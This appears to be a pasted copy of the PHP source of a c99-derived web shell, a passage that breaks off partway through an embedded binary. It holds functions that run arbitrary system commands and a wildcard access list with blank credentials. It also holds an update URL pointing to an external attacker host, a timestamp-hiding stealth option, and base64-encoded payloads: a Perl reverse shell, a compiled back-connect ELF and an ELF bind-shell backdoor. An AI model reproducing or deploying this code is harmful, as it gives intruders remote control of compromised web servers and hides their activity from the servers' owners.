· 11 years ago · Jul 09, 2015, 12:23 AM
1<?php
2/*******************************************/
3/* c99 injektor v1 06.2008 */
4/* Re-coded and modified By BajinguK */
5/* TeamHack */
6/*******************************************/
7$sh_id = "QmFqaW5ndUs=";
8$sh_name = base64_decode($sh_id);
9$sh_mainurl = "http://www.goldennatural.com/.setan/";
10$html_start = '' . '<html><head>
11<title>' . $sh_name . ' - ' . getenv("HTTP_HOST") . '</title>
12<style type="text/css">
13<!--
14body,table { font-family:verdana;font-size:11px;color:white;background-color:black; }
15table { width:100%; }
16table,td { border:1px solid #808080;margin-top:2;margin-bottom:2;padding:5px; }
17a { color:lightblue;text-decoration:none; }
18a:active { color:#00FF00; }
19a:link { color:#5B5BFF; }
20a:hover { text-decoration:underline; }
21a:visited { color:#99CCFF; }
22input,select,option { font:8pt tahoma;color:#FFFFFF;margin:2;border:1px solid #666666; }
23textarea { color:#dedbde;font:fixedsys bold;border:1px solid #666666;margin:2; }
24.fleft { float:left;text-align:left; }
25.fright { float:right;text-align:right; }
26#pagebar { font:10pt tahoma;padding:5px; border:3px solid #1E1E1E; border-collapse:collapse; }
27#pagebar td { vertical-align:top; }
28#pagebar p { font:8pt tahoma;}
29#pagebar a { font-weight:bold;color:#00FF00; }
30#pagebar a:visited { color:#00CE00; }
31#mainmenu { text-align:center; }
32#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
33#maininfo,.barheader,.barheader2 { text-align:center; }
34#maininfo td { padding:3px; }
35.barheader { font-weight:bold;padding:5px; }
36.barheader2 { padding:5px;border:2px solid #1F1F1F; }
37.contents,.explorer { border-collapse:collapse;}
38.contents td { vertical-align:top; }
39.mainpanel { border-collapse:collapse;padding:5px; }
40.barheader,.mainpanel table,td { border:1px solid #333333; }
41.mainpanel input,select,option { border:1px solid #333333;margin:0; }
42input[type="submit"] { border:1px solid #000000; }
43input[type="text"] { padding:3px;}
44.shell { background-color:#C0C0C0;color:#000080;padding:5px; }
45.yxerrmsg { color:red; font-weight:bold; }
46#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
47#pagebar,.mainpanel,input[type="submit"] { background-color:#4A4A4A; }
48.barheader2,input,select,option,input[type="submit"]:hover { background-color:#333333; }
49textarea,.mainpanel input,select,option { background-color:#000000; }
50// -->
51</style>
52</head>
53<body>
54';
55//Authentication
56$login = "";
57$pass = "";
58$md5_pass = "md5($pass)"; //Password yg telah di enkripsi dg md5. Jika kosong, md5($pass).
59$host_allow = array(
60 "*"
61); //Contoh: array("192.168.0.*","127.0.0.1")
62$login_txt = "Restricted Area"; //Pesan HTTP-Auth
63$accessdeniedmess = "<a href=\"$sh_mainurl\">" . $sh_name . "</a>: access denied";
64$gzipencode = TRUE;
65$updatenow = FALSE; //Jika TRUE, update shell sekarang.
66$c99sh_updateurl = $sh_mainurl . "sporty.php";
67$c99sh_sourcesurl = $sh_mainurl . "passs.txt";
68//$c99sh_updateurl = "http://blackshamrockmedia.com/WilliamHPhoto/v1site_images/";
69//$c99sh_sourcesurl = "http://blackshamrockmedia.com/WilliamHPhoto/v1site_images/passs.txt";
70$filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses.
71$curdir = "./";
72$tmpdir = "";
73$tmpdir_log = "./";
74$log_email = "transzack@mail.com"; //email untuk pengiriman log.
75$sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
76$sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan cookies.
77$sess_cookie = "c99shvars"; //Nama variabel Cookie
78$usefsbuff = TRUE; //Buffer-function
79$copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste
80$hexdump_lines = 8;
81$hexdump_rows = 24;
82$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
83$disablefunc = @ini_get("disable_functions");
84if (!empty($disablefunc)) {
85 $disablefunc = str_replace(" ", "", $disablefunc);
86 $disablefunc = explode(",", $disablefunc);
87}
88//Functions
89function get_phpini()
90{
91 function U_wordwrap($str)
92 {
93 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
94 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
95 }
96 function U_value($value)
97 {
98 if ($value == '')
99 return '<i>no value</i>';
100 if (@is_bool($value))
101 return $value ? 'TRUE' : 'FALSE';
102 if ($value === null)
103 return 'NULL';
104 if (@is_object($value))
105 $value = (array) $value;
106 if (@is_array($value)) {
107 @ob_start();
108 print_r($value);
109 $value = @ob_get_contents();
110 @ob_end_clean();
111 }
112 return U_wordwrap((string) $value);
113 }
114 if (@function_exists('ini_get_all')) {
115 $r = "";
116 echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
117 foreach (@ini_get_all() as $key => $value) {
118 $r .= "<tr><td>" . $key . "</td><td><div align=center>" . U_value($value['local_value']) . "</div></td><td><div align=center>" . U_value($value['global_value']) . "</div></td></tr>";
119 }
120 echo $r;
121 echo "</table>";
122 }
123}
124function disp_drives($curdir, $surl)
125{
126 $letters = "";
127 $v = explode("\\", $curdir);
128 $v = $v[0];
129 foreach (range("A", "Z") as $letter) {
130 $bool = $isdiskette = $letter == "A";
131 if (!$bool) {
132 $bool = is_dir($letter . ":\\");
133 }
134 if ($bool) {
135 $letters .= "<a href=\"" . $surl . "act=ls&d=" . urlencode($letter . ":\\") . "\"" . ($isdiskette ? " onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"" : "") . "> [";
136 if ($letter . ":" != $v) {
137 $letters .= $letter;
138 } else {
139 $letters .= "<font color=yellow>" . $letter . "</font>";
140 }
141 $letters .= "]</a> ";
142 }
143 }
144 if (!empty($letters)) {
145 Return $letters;
146 } else {
147 Return "None";
148 }
149}
150if (is_callable("disk_free_space")) {
151 function disp_freespace($curdrv)
152 {
153 $free = disk_free_space($curdrv);
154 $total = disk_total_space($curdrv);
155 if ($free === FALSE) {
156 $free = 0;
157 }
158 if ($total === FALSE) {
159 $total = 0;
160 }
161 if ($free < 0) {
162 $free = 0;
163 }
164 if ($total < 0) {
165 $total = 0;
166 }
167 $used = $total - $free;
168 $free_percent = round(100 / ($total / $free), 2) . "%";
169 $free = view_size($free);
170 $total = view_size($total);
171 return "$free of $total ($free_percent)";
172 }
173}
174//BajinguK Shell
175if (!function_exists("myshellexec")) {
176 if (is_callable("popen")) {
177 function myshellexec($cmd)
178 {
179 if (!($p = popen("($cmd)2>&1", "r"))) {
180 return "popen Disabled!";
181 }
182 while (!feof($p)) {
183 $line = fgets($p, 1024);
184 $out .= $line;
185 }
186 pclose($p);
187 return $out;
188 }
189 } else {
190 function myshellexec($cmd)
191 {
192 global $disablefunc;
193 $result = "";
194 if (!empty($cmd)) {
195 if (is_callable("exec") and !in_array("exec", $disablefunc)) {
196 exec($cmd, $result);
197 $result = join("\n", $result);
198 } elseif (($result = $cmd) !== FALSE) {
199 } elseif (is_callable("system") and !in_array("system", $disablefunc)) {
200 $v = @ob_get_contents();
201 @ob_clean();
202 system($cmd);
203 $result = @ob_get_contents();
204 @ob_clean();
205 echo $v;
206 } elseif (is_callable("passthru") and !in_array("passthru", $disablefunc)) {
207 $v = @ob_get_contents();
208 @ob_clean();
209 passthru($cmd);
210 $result = @ob_get_contents();
211 @ob_clean();
212 echo $v;
213 } elseif (is_resource($fp = popen($cmd, "r"))) {
214 $result = "";
215 while (!feof($fp)) {
216 $result .= fread($fp, 1024);
217 }
218 pclose($fp);
219 }
220 }
221 return $result;
222 }
223 }
224}
225function ex($cfe)
226{
227 $res = '';
228 if (!empty($cfe)) {
229 if (function_exists('exec')) {
230 @exec($cfe, $res);
231 $res = join("\n", $res);
232 } elseif (function_exists('shell_exec')) {
233 $res = @shell_exec($cfe);
234 } elseif (function_exists('system')) {
235 @ob_start();
236 @system($cfe);
237 $res = @ob_get_contents();
238 @ob_end_clean();
239 } elseif (function_exists('passthru')) {
240 @ob_start();
241 @passthru($cfe);
242 $res = @ob_get_contents();
243 @ob_end_clean();
244 } elseif (@is_resource($f = @popen($cfe, "r"))) {
245 $res = "";
246 while (!@feof($f)) {
247 $res .= @fread($f, 1024);
248 }
249 @pclose($f);
250 } else {
251 $res = "Ex() Disabled!";
252 }
253 }
254 return $res;
255}
256function which($pr)
257{
258 $path = ex("which $pr");
259 if (!empty($path)) {
260 return $path;
261 } else {
262 return $pr;
263 }
264}
265//End of BajinguK Shell
266//Start Enumerate function
267$hostname_x = php_uname(n);
268$itshome = getcwd();
269if (!$win) {
270 $itshome = str_replace("/home/", "~", $itshome);
271 $itshome = str_replace("/public_html", "/yx29sh.php", $itshome);
272} else {
273 $itshome = "";
274}
275$enumerate = "http://" . $hostname_x . "/" . $itshome . "";
276//End Enumerate function
277//Backdoor
278$back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
279$back_connect_c = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RyxwByx0RUT1JfTElTVF9fAF9fSkNSX0xJU1RyxwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRyxwByx0RUT1JfRU5EX18AX19GUkFNRV9FTkRyxwByx0pDUl9FTkRyxwByx2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZAByx2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMAByx2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMAByx2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMAByx2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";
280$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZAByx2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8